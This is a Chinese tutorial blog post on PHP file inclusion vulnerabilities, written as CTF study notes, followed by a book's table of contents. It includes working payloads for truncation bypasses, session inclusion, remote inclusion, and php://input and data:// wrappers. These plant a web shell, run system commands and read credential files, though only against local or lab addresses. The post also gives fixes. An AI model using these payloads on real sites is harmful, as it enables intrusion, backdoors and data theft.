Web安全原理—文件包含漏洞

目录

前言

一、文件包含漏洞

二、无限制本地文件包含漏洞

三、有限制本地文件包含漏洞

四、Session文件包含

五、远程文件包含

一、无限制远程文件包含

二、有限制远程文件包含

六、PHP伪协议

文件包含漏洞修复

学习路线


前言

起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了  拿出买的书开始从头学习总结文件包含漏洞!

 

一、文件包含漏洞

文件包含漏洞

文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。

文件包含漏洞肯能会造成服务器网页被篡改、网站被挂马、服务器被远程控制、被安装后门等危害。

常见的文件包含函数:

1.include() 包含并运行制定文件。在出错时产生警告(E_WARNING),基本会继续运行。

2.include_once() 在脚本执行期间包含并运行制定文件。与include区别:检查是否被包含过,如果是则不会再次包含。

3.require()包含并运行指定文件。require在出错时产生E_COMPLE_ERROR几倍错误,脚本中止运行

4.require_once() 基本完全与require相同 与require区别:检查是否被包含过,如果是则不会再次包含。

漏洞示例代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

以上代码,对$_GET[‘filename’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改$_GET[‘filename’]的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;

我们在后面加上我们当前目录的文件1.txt 即可读取1.txt的内容显示出来

二、无限制本地文件包含漏洞

无限制本地文件包含漏洞

无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。

常见的敏感信息路径

Windows

c:\boot.ini // 查看系统版本

c:\XX\httpd.conf   Apache配置信息

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix

/etc/passwd  账户信息

/etc/shadow  账户密码文件

/etc/httpd/conf/httpd.conf  Apache配置文件

/etc/my.conf  mysql 配置文件

/usr/local/app/apache2/conf/httpd.conf  Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf     虚拟网站配置

/usr/local/app/php5/lib/php.ini  PHP相关配置

无限制本地文件包含漏洞示例:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

利用漏洞读取Mysql配置信息

payload:

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini

利用无限制本地包含漏洞执行代码

三、有限制本地文件包含漏洞

简介:

有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename,".html");
?>

1.%00截断

%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤

漏洞利用条件:

(1)    magic_quotes_gpc=off

(2)    PHP<5.3.4

测试结果;

Payload: http://127.0.0.1/test.php?filename=xiaohua.txt%00

通过%00截断了后面的.html扩展名过滤,成功读取了xiaohua.txt文件的内容

 

2.路径长度截断文件包含

操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断

漏洞利用条件

Windows下目录的最大路径256B

Linux下目录的最大路径长度为4096B

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行完成后成功截断后面的.html扩展名,包含了xiaohua.txt文件

3.点号阶段文件包含

点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。

测试payload:

http://127.0.0.1/test.php?filename=xiaohua.txt....................................................................................................................................................................................................................................................................

成功使用.号截断后面的.html扩展名,包含了我们想要的文件。

四、Session文件包含

定义:

当可以获取Session文件的路径并且Session文件的内容可控时,就可以通过包含Session内容可控。

利用条件:

1.     Session的存储位置可以获取

2.     Session内容可控 

(1)    通过phpinfo的信息获取session的存储位置

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。

 

<?php
     session_start();
    $ctfs  = $_GET['ctfs'];
     $_SESSION['username']=$ctfs;
?>

此代码的$ctfs变量的值可以通过GET型ctfs参数传入。PHP代码将会获得GET型ctfs变量的值存入Session中。攻击者可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代

码。

漏洞利用payload:

http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?>  将php语句写入session中

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件

session文件名(真正的文件名默认都有个前缀就是sess_)

五、远程文件包含

一、无限制远程文件包含

无限制远程文件包含是指文件的位置并不是本地服务器,而是通过URL形式包含其他服务器上的文件,执行文件中的恶意代码。

 

漏洞利用条件:

(1)     allow_url_fopen=on

(2)     allow_url_include=on

漏洞代码

<?php
     $filename  = $_GET['filename'];
       include($filename);
?>

Payload:

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt

包含在xiaohua.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。

 

二、有限制远程文件包含

有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。

漏洞代码:

<?php
     $filename  = $_GET['filename'];
     include($filename.”.html”);
?>

1.     问号绕过

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?

2.     #号绕过

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码)

3.     空格绕过

http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url编码)

 

FUZZ可以大量检测

六、PHP伪协议

PHP带了很多内置URL风格的封装协议,可用于fopen、copy、file_exists和filesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。

File:// ——访问本地文件系统

http:// ——访问HTTP(s)网址

ftp://  ——访问FTP(s)URLs

php://     访问各个输入/输出流(I/o streams)

zlib://     压缩流

data://    读取数据(RFC2397)

glob://    查找匹配的文件路径模式

phar://    PHP归档

ssh2://    Secure Sheel2

rar://      RAR

ogg://     音频流

expect:// 处理交互式的流

 

php://伪协议

php://伪协议是PHP提供的一些输入输出流访问功能,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。

1.     php://filter

php://filter 是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。

漏洞利用条件:

利用php:filter读本地磁盘文件时不需要开启allow_url_fopen和allow_url_include

用法:

(1):filename=php://filter/read=convert.base64-encode/resource=xx.php
(2):filename=php://filter/convert.base64-encode/resource=xxx.php

参数:

Resource=<要过滤的数据流> 必需

read=<读链的筛选列表>     可选

write=<写链的筛选器列表> 可选

       漏洞代码:

 <?php
     $filename  = $_GET['filename'];
       include($filename);
       ?>

       Pyload:

       http://127.0.0.1/test.php?filename=php://filter/read=convert.base64-encode/resource=test.php

   利用php://filter获取了test.php文件的Base64编码

     

2.     php://input

php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype=”multipart/form-data”的时候php://input是无效的。

(1):读取POST数据

   利用条件:

   示例代码:

<?php
   echo file_get_contents("php://input")
?>

上面代码输出file_get_contents函数获取的php://input数据。测试传入POST数据 字符串xiaohua最终输出该字符串 。php://input可以获取POST传入的树

 

(2)写入木马

        利用环境:

        需要开启allow_url_include=on

        漏洞代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
        ?>

Payload:

URL: http://192.168.1.110/test.php?filename=php://input
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[xiaohua])>')?>

通过php://input执行后成功在网站根目录创建了shell.php

       (3)    执行命令

  根写入木马漏洞代码操作基本类似知识post部分需要改

  Post:<?php system(‘whoami’);?>

  url: http://192.168.1.110/test.php?filename=php://input

       

 

 

 

3.     file://伪协议

file://伪协议可以访问本地文件系统,读取文件的内容

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

Payload:

http://192.168.1.110/test.php?filename=file://C:\phpStudy\PHPTutorial\WWW\xiaohua.txt

4.     data://伪协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

利用环境:

 allow_url_include=on

 allow_url_fopen=on 

   使用方法:

       data://text/plain;base64,xxxx(base64编码后的数据)

 

    代码示例

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

       对<?php system("dir")?>进行base64编码

       PD9waHAgc3lzdGVtKCJkaXIiKT8+ 最后有个+号进行url编码+=%2b

       最终payload:

http://192.168.1.110/test.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b     

5.     phar://伪协议

phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当做压缩包

利用环境

PHP>5.3.0

Allow_url_include=on

Allow_url_fopen=on

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

用法:

?file=phar://压缩包/内部文件->phar://xxx.png/shell.php

压缩包要用zip://伪协议压缩,而不能用rar://伪协议

  新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀jpg上传 然后执行

  Payload:http://127.0.0.1/test.php?filename=phar://xiaohua.jpg/xiaohua.txt

 

6.     zip://伪协议

zip://伪协议和phar://伪协议在原理上类似,用法不一样

利用环境

PHP>5.3.0

Allow_url_include=on

Allow_url_fopen=on

示例代码:

<?php
  $filename=$_GET['filename'];
  include($filename);
?>

用法:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

Eg:zip://xxx.png#shell.php

Payload: 192.168.1.110/test.php?filename=zip//shell.png:shell.php

  新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀上传 然后执行

  Payload:http://127.0.0.1/test.php?filename=zip://C:\phpStudy\PHPTutorial\WWW\xiaohua.zip%23xiaohua.txt

  

7.     expect://伪协议

expect://伪协议主要用来执行系统命令,但是需要安装扩展

用法:?file=expect://ls

文件包含漏洞修复

  1.   代码层修复

    进行文件过滤,将包含的参数设置为白名单即可

  2.  服务器安全配置

    (1)    修改PHP配置文件,将open_basedir的值设置为可以包含特定目录后面要加/

      Eg:open_basedir=/var/www/html

    (2)    修改PHP的配置文件,关闭allow_ur_include 可以防止远程文件包含

学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解Web应用程序中存在的漏洞,防患于未然。 《Web安全深度剖析》从攻到防,从原理到实战,由浅入深、循序渐进地介绍了Web 安全体系。全书分4 篇共16 章,除介绍Web 安全的基础知识外,还介绍了Web 应用程序中最常见的安全漏洞、开源程序的攻击流程与防御,并着重分析了“拖库”事件时黑客所使用的攻击手段。此外,还介绍了渗透测试工程师其他的一些检测方式。 《Web安全深度剖析》最适合渗透测试人员、Web 开发人员、安全咨询顾问、测试人员、架构师、项目经理、设计等人员阅读,也可以作为信息安全等相关专业的教材。 第1篇 基础篇 第1章 Web安全简介 2 1.1 服务器是如何被入侵的 2 1.2 如何更好地学习Web安全 4 第2章 深入HTTP请求流程 6 2.1 HTTP协议解析 6 2.1.1 发起HTTP请求 6 2.1.2 HTTP协议详解 7 2.1.3 模拟HTTP请求 13 2.1.4 HTTP协议与HTTPS协议的区别 14 2.2 截取HTTP请求 15 2.2.1 Burp Suite Proxy 初体验 15 2.2.2 Fiddler 19 2.2.3 WinSock Expert 24 2.3 HTTP应用:黑帽SEO之搜索引擎劫持 24 2.4 小结 25 第3章 信息探测 26 3.1 Google Hack 26 3.1.1 搜集子域名 26 3.1.2 搜集Web信息 27 3.2 Nmap初体验 29 3.2.1 安装Nmap 29 3.2.2 探测主机信息 30 3.2.3 Nmap脚本引擎 32 3.3 DirBuster 33 3.4 指纹识别 35 3.5 小结 38 第4章 漏洞扫描 39 4.1 Burp Suite 39 4.1.1 Target 39 4.1.2 Spider 40 4.1.3 Scanner 42 4.1.4 Intruder 43 4.1.5 辅助模块 46 4.2 AWVS 49 4.2.1 WVS向导扫描 50 4.2.2 Web扫描服务 52 4.2.3 WVS小工具 53 4.3 AppScan 54 4.3.1 使用AppScan扫描 55 4.3.2 处理结果 58 4.3.3 AppScan辅助工具 58 4.4 小结 61 第2篇 原理篇 第5章 SQL注入漏洞 64 5.1 SQL注入原理 64 5.2 注入漏洞分类 66 5.2.1 数字型注入 66 5.2.2 字符型注入 67 5.2.3 SQL注入分类 68 5.3 常见数据库注入 69 5.3.1 SQL Server 69 5.3.2 MySQL 75 5.3.3 Oracle 84 5.4 注入工具 89 5.4.1 SQLMap 89 5.4.2 Pangolin 95 5.4.3 Havij 98 5.5 防止SQL注入 99 5.5.1 严格的数据类型 100 5.5.2 特殊字符转义 101 5.5.3 使用预编译语句 102 5.5.4 框架技术 103 5.5.5 存储过程 104 5.6 小结 105 第6章 上传漏洞 106 6.1 解析漏洞 106 6.1.1 IIS解析漏洞 106 6.1.2 Apache解析漏洞 109 6.1.3 PHP CGI解析漏洞 110 6.2 绕过上传漏洞 110 6.2.1 客户端检测 112 6.2.2 服务器端检测 115 6.3 文本编辑器上传漏洞 123 6.4 修复上传漏洞 127 6.5 小结 128 第7章 XSS跨站脚本漏洞 129 7.1 XSS原理解析 129 7.2 XSS类型 130 7.2.1 反射型XSS 130 7.2.2 存储型XSS 131 7.2.3 DOM XSS 132 7.3 检测XSS 133 7.3.1 手工检测XSS 134 7.3.2 全自动检测XSS 134 7.4 XSS高级利用 134 7.4.1 XSS会话劫持 135 7.4.2 XSS Framework 141 7.4.3 XSS GetShell 144 7.4.3 XSS蠕虫 149 7.5 修复XSS跨站漏洞 151 7.5.1 输入与输出 151 7.5.2 HttpOnly 158 7.6 小结 160 第8章 命令执行漏洞 161 8.1 OS命令执行漏洞示例 161 8.2 命令执行模型 162 8.2.1 PHP命令执行 163 8.2.2 Java命令执行 165 8.3 框架执行漏洞 166 8.3.1 Struts2代码执行漏洞 166 8.3.2 ThinkPHP命令执行漏洞 169 8.3 防范命令执行漏洞 169 第9章 文件包含漏洞 171 9.1 包含漏洞原理解析 171 9.1.1 PHP包含 171 9.1.2 JSP包含 180 9.2 安全编写包含 184 9.3 小结 184 第10章 其他漏洞 185 10.1 CSRF 185 10.1.1 CSRF攻击原理 185 10.1.2 CSRF攻击场景(GET) 186 10.1.3 CSRF攻击场景(POST) 188 10.1.4 浏览器Cookie机制 190 10.1.5 检测CSRF漏洞 193 10.1.6 预防跨站请求伪造 197 10.2 逻辑错误漏洞 199 10.2.1 挖掘逻辑漏洞 199 10.2.2 绕过授权验证 200 10.2.3 密码找回逻辑漏洞 204 10.2.4 支付逻辑漏洞 205 10.2.5 指定账户恶意攻击 209 10.3 代码注入 210 10.3.1 XML注入 211 10.3.2 XPath注入 212 10.3.3 JSON注入 215 10.3.4 HTTP Parameter Pollution 216 10.4 URL跳转与钓鱼 218 10.4.1 URL跳转 218 10.4.2 钓鱼 220 10.5 WebServer远程部署 224 10.5.1 Tomcat 224 10.5.2 JBoss 226 10.5.3 WebLogic 229 10.6 小结 233 第3篇 实战篇 第11章 实战入侵与防范 236 11.1 开源程序安全剖析 236 11.1.1 0day攻击 236 11.1.2 网站后台安全 238 11.1.3 MD5还安全吗 243 11.2 拖库 248 11.2.1 支持外连接 248 11.2.2 不支持外连接 253 11.3 小结 262 第4篇 综合篇 第12章 暴力破解测试 264 12.1 C/S架构破解 265 12.2 B/S架构破解 272 12.3 暴力破解案例 275 12.4 防止暴力破解 277 12.5 小结 278 第13章 旁注攻击 279 13.1 服务器Web架构 279 13.2 IP逆向查询 280 13.3 SQL跨库查询 282 13.4 目录越权 283 13.5 构造注入点 284 13.6 CDN 286 13.7 小结 288 第14章 提权 290 14.1 溢出提权 290 14.2 第三方组件提权 294 14.2.1 信息搜集 294 14.2.2 数据库提权 296 14.2.3 FTP提权 302 14.2.4 PcAnywhere提权 312 14.3 虚拟主机提权 314 14.4 提权辅助 315 14.4.1 3389端口 315 14.4.2 端口转发 318 14.4.3 启动项提权 320 14.4.4 DLL劫持 321 14.4.5 添加后门 322 14.5 服务器防提权措施 324 14.6 小结 325 第15章 ARP欺骗攻击 326 15.1 ARP协议简介 326 15.1.1 ARP缓存表 326 15.1.2 局域网主机通信 327 15.1.3 ARP欺骗原理 328 15.2 ARP攻击 329 15.2.1 Cain 329 15.2.2 Ettercap 332 15.2.3 NetFuke 336 15.3 防御ARP攻击 339 15.4 小结 340 第16章 社会工程学 341 16.1 信息搜集 341 16.2 沟通 343 16.3 伪造 344 16.4 小结 345

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值